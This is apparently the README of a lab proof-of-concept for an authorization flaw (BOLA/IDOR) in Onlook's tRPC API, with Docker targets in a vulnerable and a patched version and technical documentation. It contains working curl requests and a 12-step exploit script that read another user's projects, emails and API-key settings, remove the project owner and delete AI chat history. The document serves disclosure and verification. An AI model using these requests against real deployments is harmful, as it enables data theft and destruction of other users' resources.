
PoC reproductible BOLA/IDOR contre l'API tRPC d'Onlook (CVE-2026-65013), avec une chaîne d'exploitation en 12 étapes, des cibles Docker vulnérables et corrigées, et une documentation technique.
PoC reproductible de BOLA / IDOR dans l'API tRPC de Onlook (CVE-2026-65013).
Tout utilisateur authentifié peut lire, modifier et supprimer les projets,
les membres et l'historique IA d'autres utilisateurs en transmettant simplement
leurs UUID aux procédures tRPC (versions <= 0.2.32).
| CVE | CVE-2026-65013 |
| Advisory | GHSA-j6x3-f5cf-2pg4 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnérable | Onlook <= 0.2.32 |
| Patch | commit 423e2e9 (PR onlook-dev/onlook#3129) |
| Document | Contenu |
|---|---|
docs/CVE-2026-65013.md | Technique de la CVE : root cause (RLS exempté + helper mal réparti), surface réellement affectée, anatomie de l'attaque, analyse ligne par ligne du fix 423e2e9, remédiation, références CVE/advisory/PR. |
docs/ARQUITECTURA.md | Du PoC : carte des fichiers, wire format tRPC v10+superjson, modèle de données, schéma VULN vs FIX, tableau des procédures, mapping PoC ↔ Onlook réel, guide d'extension, validation/CI manuelle. |
Onlook expose son backend via tRPC, et les procédures reçoivent l'id de la ressource directement du client :
project.get({ projectId }) // lit n'importe quel projet
member.remove({ projectId, userId }) // expulse n'importe qui
chat.conversation.delete({ conversationId }) // supprime l'historique IA
settings.get({ projectId }) // settings avec API keys
Le problème : la plupart ne vérifiaient pas que l'appelant était membre du projet. La connexion à Postgres (Drizzle) était un superutilisateur exempté de Row Level Security, donc le contrôle devait résider dans le code tRPC... et là, il manquait.
Un helper verifyProjectAccess() existait déjà (appliqué à une poignée de
procédures, p. ex. project.update/delete), mais le reste de la surface
faisait confiance à l'id du client : project.get, member.list, member.remove,
invitation.list, chat.conversation.*, chat.message.*, branch.*,
settings.*, frame.*…
L'authentification N'EST PAS le problème (le JWT de Supabase fonctionne). C'est l'autorisation par objet (BOLA/IDOR) : l'attaquant utilise sa propre session légitime contre les ids de la victime.
lib/authorization.js contient les helpers qui manquaient (verifyProjectAccess,
verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess,
verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — l'équivalent
du commit 423e2e9.lib/router.js les invoque uniquement si enforceAuth est activé ; en mode
vulnérable, les procédures s'exécutent sans la vérification (le bug réel).Unauthorized or not found (UNAUTHORIZED), afin qu'on ne puisse pas énumérer
l'existence des ressources :
// chat.conversation.delete — vulnerable (sin chequeo) vs parcheado:
enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
project.update reste protégé dans les deux modes comme « contraste » : cela
démontre que le helper existait, mais qu'il était mal réparti.docker compose up -d --build
curl -s http://localhost:3000/health # {"status":"ok","fixed":false} → VULNERABLE
curl -s http://localhost:3001/health # {"status":"ok","fixed":true} → PARCHEADO
Le Docker démarre la cible (vulnérable et patchée) plus un service
demo. L'exploitation se fait depuis votre machine contre ces cibles.
curl -s http://localhost:3000/demo/ids # ids del seed de la víctima (Alice)
Cela remplace le canal réel par lequel un attaquant obtiendrait les UUIDs (lien de preview partagé, referrer de logs, invitations…).
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H 'content-type: application/json' \
-d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')
# 3a. LEER el proyecto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}
# 3b. LISTAR miembros y emails (aun siendo ajeno al proyecto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# 3c. EXPULSAR a Alice (owner) de SU propio proyecto (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'
# → {"result":{"data":{"json":true}}} ← (Alice ya no está en su proyecto)
# 3d. BORRAR el historial de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'
node exploit.js)Exécute les 12 procédures de la chaîne (lire le projet, lister les projets d'Alice, filtrer les emails, expulser l'owner, lister les invitations, lire/supprimer l'historique IA, branches, settings avec apiKey, frames) :
node exploit.js # contra :3000 (vulnerable) → filtraciones
node exploit.js --target http://localhost:3001 --expect blocked # contra :3001 (parcheado)
Sortie typique (vulnérable) :
💥 project.get → FILTRADO
💥 member.remove → FILTRADO (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.
Contre la version patchée :
🛡️ project.get → BLOQUEADO (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.
L'exploitation mute la base en mémoire du serveur vulnérable : pour la réexécuter, redémarrez cette instance (
docker compose restart server).
| Procédure | :3000 vulnérable | :3001 patché |
|---|---|---|
project.get (projet d'autrui) | 200 + nom/metadata | 401 Unauthorized or not found |
member.list (emails d'autrui) | 200 + emails | 401 |
member.remove (expulser l'owner) | 200 true | 401 |
chat.conversation.delete | 200 true | 401 |
settings.get (apiKey) | 200 + settings | 401 |
project.update (contraste : déjà protégé) | 401 | 401 |
npm run demo # compara VULNERABLE vs PARCHEADO en proceso (sin red), 12 procedimientos
bash test-local.sh # harness integral: curl (formato advisory) + exploit vs :3100 y :3101, exit code real
Ou en Docker :